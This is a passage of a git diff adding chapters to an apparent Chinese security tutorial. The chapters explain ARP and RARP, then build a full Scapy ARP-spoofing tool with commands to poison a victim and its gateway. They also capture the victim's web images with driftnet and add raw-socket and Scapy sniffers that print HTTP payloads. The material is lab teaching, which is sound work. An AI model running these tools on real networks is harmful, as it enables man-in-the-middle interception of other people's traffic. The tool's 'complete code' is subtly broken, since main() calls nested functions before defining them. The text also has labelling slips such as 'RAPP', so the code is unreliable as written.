ARP\346\254\272\351\252\227/img/8.png" new file mode 100644 index 0000000..8181aff Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/8.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/9.png" "b/3.5 ARP\346\254\272\351\252\227/img/9.png" new file mode 100644 index 0000000..a3fe1a3 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/9.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/readme.md" "b/3.5 ARP\346\254\272\351\252\227/readme.md" new file mode 100644 index 0000000..ce21c37 --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/readme.md" @@ -0,0 +1,511 @@ +## 3.5 ARP欺骗 + +是时候再重新拿出七层模型的图了。 + +![](img/1.jpg) + +前面的socket编程工作在网络层和传输层,本节要讲解的ARP欺骗工作在数据链路层(网络接口层)。 + +在TCP/IP协议族中,数据链路层主要有三个目的: + +1. 为IP模块发送和接收数据 + +2. 为ARP模块发送ARP请求和接收ARP应答 + +3. 为RARP模块发送RARP请求和接收RARP应答 + +这里需要强调一点的是,arp和rarp协议划分到数据链路层还是网络层都可以,我们将其划分在数据链路层,希望同学们不要在这个问题上争论。下面我们先来了解下ARP和RARP协议的基本内容和工作原理。 + +### 3.5.1 ARP协议 + +(参考:https://zh.wikipedia.org/wiki/%E5%9C%B0%E5%9D%80%E8%A7%A3%E6%9E%90%E5%8D%8F%E8%AE%AE) + +在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。 + +另外,当发送主机和目的主机不在同一个局域网中时,即便知道对方的MAC地址,两者也不能直接通信,必须经过路由转发才可以。所以此时,发送主机通过ARP协议获得的将不是目的主机的真实MAC地址,而是一台可以通往局域网外的路由器的MAC地址。于是此后发送主机发往目的主机的所有帧,都将发往该路由器,通过它向外发送。这种情况称为委托ARP或ARP代理(ARP Proxy)。 + +#### 数据包结构 + +地址解析协议的消息格式很简单,仅包含单一的地址解析请求或响应。ARP 消息的长度取决于上下两层地址的大小,上层地址由所使用的网络协议类型(通常是 IPv4)决定,下层地址则由上层协议所使用的硬件或虚拟链路层的类型决定。消息的报头中包含了这些类型以及对应的地址长度信息,此外还包含了表示请求(1)和应答(2)的操作码。数据包的有效负载为收发双方的硬件地址、协议地址,总计四个地址。 + +为了把IP地址映射到48位以太网地址用于传输,需要一个体现地址转换协议的包格式。 + +完整的Arp协议如下图所示: + +![](img/3.png) + +各字段解释如下: + +``` +目标以太网地址:目标MAC地址。FF:FF:FF:FF:FF:FF (二进制全1)为广播地址。 +源以太网地址:发送方MAC地址。 +帧类型:以太类型,ARP为0x0806。 +以太网报文数据 +硬件类型:如以太网(0x0001)、分组无线网。 +协议类型:如网际协议(IP)(0x0800)、IPv6(0x86DD)。 +硬件地址长度:每种硬件地址的字节长度,一般为6(以太网)。 +协议地址长度:每种协议地址的字节长度,一般为4(IPv4)。 +操作码:1为ARP请求,2为ARP应答,3为RARP请求,4为RARP应答。 +源硬件地址:n个字节,n由硬件地址长度得到,一般为发送方MAC地址。 +源协议地址:m个字节,m由协议地址长度得到,一般为发送方IP地址。 +目标硬件地址:n个字节,n由硬件地址长度得到,一般为目标MAC地址。 +目标协议地址:m个字节,m由协议地址长度得到,一般为目标IP地址。 +``` + +#### 工作原理 + +在每台安装有TCP/IP协议的计算机或路由器里都有一个ARP缓存表,表里的IP地址与MAC地址是一对应的,如下表所示: + +![](img/4.png) + +以主机A(192.168.38.10)向主机B(192.168.38.11)发送数据为例。 + +1. 当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。如果找到就知道目标MAC地址为(00-BB-00-62-C2-02),直接把目标MAC地址写入帧里面发送就可。 +2. 如果在ARP缓存表中没有找到相对应的IP地址,主机A就会在网络上发送一个广播(ARP request),目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机发出这样的询问:“192.168.38.11的MAC地址是什么?” + +3. 网络上其他主机并不响应ARP询问,只有主机B接收到这个帧时,才向主机A做出这样的回应(ARP response):“192.168.38.11的MAC地址是00-BB-00-62-C2-02”,此回应以单播方式。这样,主机A就知道主机B的MAC地址,它就可以向主机B发送信息。同时它还更新自己的ARP高速缓存(ARP cache),下次再向主机B发送信息时,直接从ARP缓存表里查找就可。 + +ARP缓存表采用老化机制,在一段时间内如果表中的某一行没有使用,就会被删除,这样可减少缓存表的长度,加快查询速度。 + +免费ARP(gratuitous ARP),他是指主机发送ARP查询(广播)自己的IP地址,当ARP功能被开启或者是端口初始配置完成,主机向网络发送免费ARP来查询自己的IP地址确认地址唯一可用。 + +作用: + + 确定网络中是否有其他主机使用了IP地址,如果有应答则产生错误消息。 + 免费ARP可以做更新ARP缓存用,网络中的其他主机收到该广播则在缓存中更新条目,收到该广播的主机无论是否存在与IP地址相关的条目都会强制更新,如果存在旧条目则会将MAC更新为广播包中的MAC。 + + +可以使用 + +``` +arp -a +``` +来查看本节ARP缓存表。 + +![](img/5.png) + + +建议同学们使用Wire Shark 抓包(真机或者配合gns3)来学习ARP协议。为了产生ARP报文,需要清空ARP缓存。 + +![](img/6.png) + + +### 3.5.2 RAPP协议 + +逆地址解析协议(Reverse Address Resolution Protocol,RARP),是一种网络协议,RFC903中描述了RARP。RARP使用与ARP相同的报头结构相同,作用与ARP相反。RARP用于将MAC地址转换为IP地址。其因为较限于IP地址的运用以及其他的一些缺点,因此渐为更新的BOOTP或DHCP所取代。 + +#### 数据包结构 + +类似于ARP的报文格式主要差别在于帧类型代码为0x8035(ARP为0x0806),操作码为3请求(ARP为1),4应答(ARP为2)。 + +#### 工作原理 + +1. 发送主机发送一个本地的RARP广播,在此广播包中,声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址; +2. 本地网段上的RARP服务器收到此请求后,检查其RARP列表,查找该MAC地址对应的IP地址; +3. 如果存在,RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用; +4. 如果不存在,RARP服务器对此不做任何的响应; +5. 源主机收到从RARP服务器的响应信息,就利用得到的IP地址进行通讯;如果一直没有收到RARP服务器的响应信息,表示初始化失败。 + +RARP在原理上很简单但是实现比较复杂,由于RARP的请求是在硬件层上的广播这因此这不能通过路由转发,因此在每个网络都要实现以个RARP服务器。另外在同一网络种不同主机可能会同时进行RARP请求,增大了冲突的概率。 + + +### 3.5.3 ARP欺骗原理 + +ARP工作时,首先请求主机会发送出一个含有所希望到达的IP地址的以太网广播数据包,然后目标IP的所有者会以一个含有IP和MAC地址对的数据包应答请求主机。这样请求主机就能获得要到达的IP地址对应的MAC地址,同时请求主机会将这个地址对放入自己的ARP表缓存起来,以节约不必要的ARP通信。ARP缓存表采用了老化机制,在一段时间内如果表中的某一行没有使用,就会被删除。 + +局域网上的一台主机,如果接收到一个ARP报文,即使该报文不是该主机所发送的ARP请求的应答报文,该主机也会将ARP报文中的发送者的MAC地址和IP地址更新或加入到ARP表中。 + +ARP欺骗攻击就利用了这点,攻击者主动发送ARP报文,发送者的MAC地址为攻击者主机的MAC地址,发送者的IP地址为被攻击主机的IP地址。通过不断发送这些伪造的ARP报文,让局域网上所有的主机和网关ARP表,其对应的MAC地址均为攻击者的MAC地址,这样所有的网络流量都会发送给攻击者主机。由于ARP欺骗攻击导致了主机和网关的ARP表的不正确,这种情况我们也称为ARP中毒。 + +根据ARP欺骗者与被欺骗者之间的角色关系的不同,通常可以把ARP欺骗攻击分为如下两种: + +1. 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗 +2. 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗 + +![](img/7.png) + +其实很多时候,我们都是进行双向欺骗,既欺骗主机又欺骗网关。 +了解了基本原理之后,我们下面动手实现ARP欺骗程序。 + +为了方便测试,笔者将本节以Kali Linux作为实验环境。 + +### 3.5.2 基本网络信息 + + +首先,我们来查看下当前虚拟机Kali Linux的网络配置和ARP缓存。 + +![](img/8.png) + +如上图,Kali Linux 以太网卡为eth0,ip地址为192.168.1.102,MAC地址为00:0c:29:6e:98:a6。下面我们再查看Kali Linux的ARP缓存。 + +![](img/9.png) + +下面再用同样的方法查看Windows 系统的信息。 + +![](img/10.png) + +windows本身地址为192.168.1.18,同样缓存了路由器的地址。 +下面我们将windows所在主机作为靶机,将Kali Linux所在虚拟机作为攻击机,进行编程测试。 + +### 3.5.3 构造ARP欺骗数据包 + +我们先完成第一个目标,告诉目标主机192.168.1.18网关的地址为Kali Linux所在主机的地址:192.168.1.102。 + +ARP欺骗的方式分为定向欺骗和广播欺骗两种。 + +#### 3.5.3.1 定向欺骗 + +现在来构造数据包就很容易了,回到我们最初的目标,我们想告诉192.168.1.23这台主机网关地址为192.168.1.102所在的主机,构造的数据包应该是这样的: + +``` +pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1.18MAC, pdst=1.18IP地址, op=2) +``` +上面的代码我们不论是以太网数据包还是ARP数据包,我们都明确指定了来源和目标,在ARP数据包中,我们将Kali Linux的Mac地址和网关的IP地址进行了绑定,op取值为2,作为一个响应包被 1.18 接到,这样 1.18会更新自己的ARP缓存表,造成中毒,从而 1.18 发往网关的数据包都会被发往 1.102。 + +那么我们如果要欺骗网关,把网关发往1.18的数据包都发送到Kali Linux(1.102)上,根据上面的代码稍作修改即可: + +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=2) +``` +上面构造的两个数据包都是ARP响应包,其实发送请求包也可以进行毒化,请求包毒化的原理是,我们请求时候使用假的源IP和MAC地址,目标主机同样会更新自己的路由表。 + +ARP请求的方式欺骗主机,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1) +``` +ARP请求的方式欺骗网关,构造的ARP包如下: +``` +pkt = Ether(src=[1.102的MAC], dst=[网关的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC, pdst=网关IP地址, op=1) +``` +我们看到构造ARP请求和响应的主要区别在op的值。 + +#### 3.5.3.2 广播欺骗 + +目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。 + +广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。 + +下面是ARP广播响应包的构造方式: +``` +pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) +``` +最后综合定下和广播欺骗的方式,我们总结一个公式出来: +``` +pkt = Ether(src=攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化 +``` +记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2)) + +概念有点绕,实践出真知,稍后我们通过代码来加深理解。 + +### 3.5.4 编写自己的ARP欺骗工具 + +新建arp.py文件,添加如下代码,先导入我们需要的模块: +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + +if __name__ == '__main__': + main() +``` + +上面的代码是arp欺骗工具的入口,我们使用optparse模块中的OptionParser类来格式化用户输入和用法提醒,该模块的使用参见 https://www.jianshu.com/p/bec089061742。我们这里给用户设置了四个配置项,分别为: + +``` + -i INTERFACE 请指定网卡 + -t TARGET 请指定要欺骗的目标主机 + -m MODE 毒化模式: requests (req) or replies (rep) [default: req] + -s 显示数据包发送信息 +``` + +运行结果如下: + +![](img/14.png) + +下面我们通过代码 + +注意这里面的几个方法,get_if_hwaddr为获取本机网络接口的函数,getmacbyip是通过ip地址获取其Mac地址的方法,ARP是构建ARP数据包的类,Ether用来构建以太网数据包,sendp方法在第二层发送数据包。 + +接下来我们调用get_if_hwaddr方法,根据参数中传入的网卡,获取本机MAC地址,该MAC地址在构建以太网和ARP数据包的时候做为攻击机的MAC地址被使用。继续完善代码: + +```Python +......(略) +if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) +mac = get_if_hwaddr(options.interface)#获取本机mac地址 +print('本机mac地址是%s' %mac) +``` + + +接下来对 -m 和 -s 参数做逻辑处理: + +```Python +....(略) +mac = get_if_hwaddr(options.interface) +print('本机mac地址是%s' %mac) + #处理参数 + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + pass + + def build_rep():#构造响应数据包 + pass +``` +mode参数用户可以传入 req(构造arp请求数据包)或者 rep(构造响应数据包)。下面我们定义了build_req()和build_rep()两个方法分别构造对应的数据包。注意这两个方法是main方法的子方法。如果希望输出数据包信息(-s),在输出之后要进一步确认是否继续执行arp 欺骗。 + +下面我们来实现build_req()方法: + +```Python +def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt +``` + +在上面的代码中,我们组合Ether和ARP方法来生成arp数据包。我们先解下Ether的参数: + +![](img/11.png) + +构造一个以太网数据包通常需要指定目标和源MAC地址,如果不指定,默认发出的就是广播包,例如: + +![](img/12.png) + +再来了解下ARP构造函数的参数列表: + +![](img/13.png) + +构造ARP需要我们注意的有5个参数: + + op。取值为1或者2,代表ARP请求或者响应包。 + + hwsrc。发送方Mac地址。 + + psrc。发送方IP地址。 + + hwdst。目标Mac地址。 + + pdst。目标IP地址。 + +如果用户在终端中没有传入目的ip则构建广播包,否则为定向欺骗数据包。下面是build_rep()方法的实现: + +```Python + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt +``` + +build_rep()方法和build_req()方法基本相同,注意Ether的dst参数和ARP的op参数(op=2为arp响应包)。 + +```Python +while True: + + sendp(pkt, inter=2, iface=options.interface) +``` + +数据包构造完毕之后,就可以循环发送直到达到欺骗目的。因为构造的是以太网数据包,所以使用sendp()方法来对外发送。 + +目前为止,我们已经编写了一个完整的ARP欺骗工具,完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() +``` + +### 3.5.5 简单测试 + +在做ARP欺骗测试的时候,一定要先开启本机的IP转发功能,否则会失败的。执行如下命令: + +``` +sysctl net.ipv4.ip_forward=1 +``` + +Windows系统中IP转发功能默认是关闭的。 +开启方法: + +1. 开始运行里面输入regedit 打开注册表编辑器(以管理员身份运行) +2. 在注册表定位下面注册表项 +HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters +3. 选择下面的项目: +IPEnableRouter:REG_DWORD:0x0 +4. 找到项目鼠标右键修改数值为1 +![](img/16.png) + +下面我们打开终端,对192.168.1.18进行欺骗,告诉它网关为192.168.1.102。 + +``` +python arp1.py -i eth0 -t 192.168.1.18 192.168.1.102 +``` + +再打开一个终端,对网关进行欺骗,告诉网关,192.168.1.18对应的主机为192.168.1.102。 +``` +python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18 +``` +一段时间之后,我们发现,192.168.1.18的arp缓存发生了变化: + +![](img/17.png) + +对比之前的arp缓存查询结果,可以判定arp毒化成功。下面我们来看一下能发捕获到1.18的外网请求信息,使用常用的测试工具driftnet。 + +![](img/18.png) + +下面在1.18上随便打开一个带有图片的网页。 +然后在监听机器上打开drifnet,我们可以看到捕获的图片信息。 + +![](img/19.png) + + +### 3.5.6 小结 + +本节我们学习了ARP协议基本内容,通过分析协议得出ARP欺骗的原理,在此基础上实现了arp欺骗工具。本节的作业如下: +1. 基于本文内容,实现自己的arp欺骗工具 +2. 思考在arp欺骗的基础上,能进一步实现哪些高级功能 + +下一节,我们一同学习网络嗅探的基本原理,并实现一个监听器。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.5.pdf b/3.5.pdf new file mode 100644 index 0000000..da493ec Binary files /dev/null and b/3.5.pdf differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" new file mode 100644 index 0000000..7afc55d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/3.6.pdf" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" new file mode 100644 index 0000000..2dfe0bf --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_linux.py" @@ -0,0 +1,55 @@ +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" new file mode 100644 index 0000000..2081d69 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_scapy.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') + \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" new file mode 100644 index 0000000..e7b7f68 --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/code/sniffer_windows.py" @@ -0,0 +1,31 @@ +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) \ No newline at end of file diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/0.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/00.jpeg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" new file mode 100644 index 0000000..be4dd20 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/1.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" new file mode 100644 index 0000000..d613585 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/10.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" new file mode 100644 index 0000000..13dcf14 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/11.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" new file mode 100644 index 0000000..4adcce7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/12.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" new file mode 100644 index 0000000..bfc7d1b Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/13.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" new file mode 100644 index 0000000..2cdc783 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/14.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" new file mode 100644 index 0000000..e61e5f7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/15.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" new file mode 100644 index 0000000..aec2fe3 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/16.jpg" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" new file mode 100644 index 0000000..8b395b7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" new file mode 100644 index 0000000..27758f4 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" new file mode 100644 index 0000000..7cbf95e Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" new file mode 100644 index 0000000..a45a60a Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" new file mode 100644 index 0000000..8f3c65f Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" new file mode 100644 index 0000000..b992c54 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" new file mode 100644 index 0000000..56a318c Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" new file mode 100644 index 0000000..9418232 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" new file mode 100644 index 0000000..5180be0 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" "b/3.6 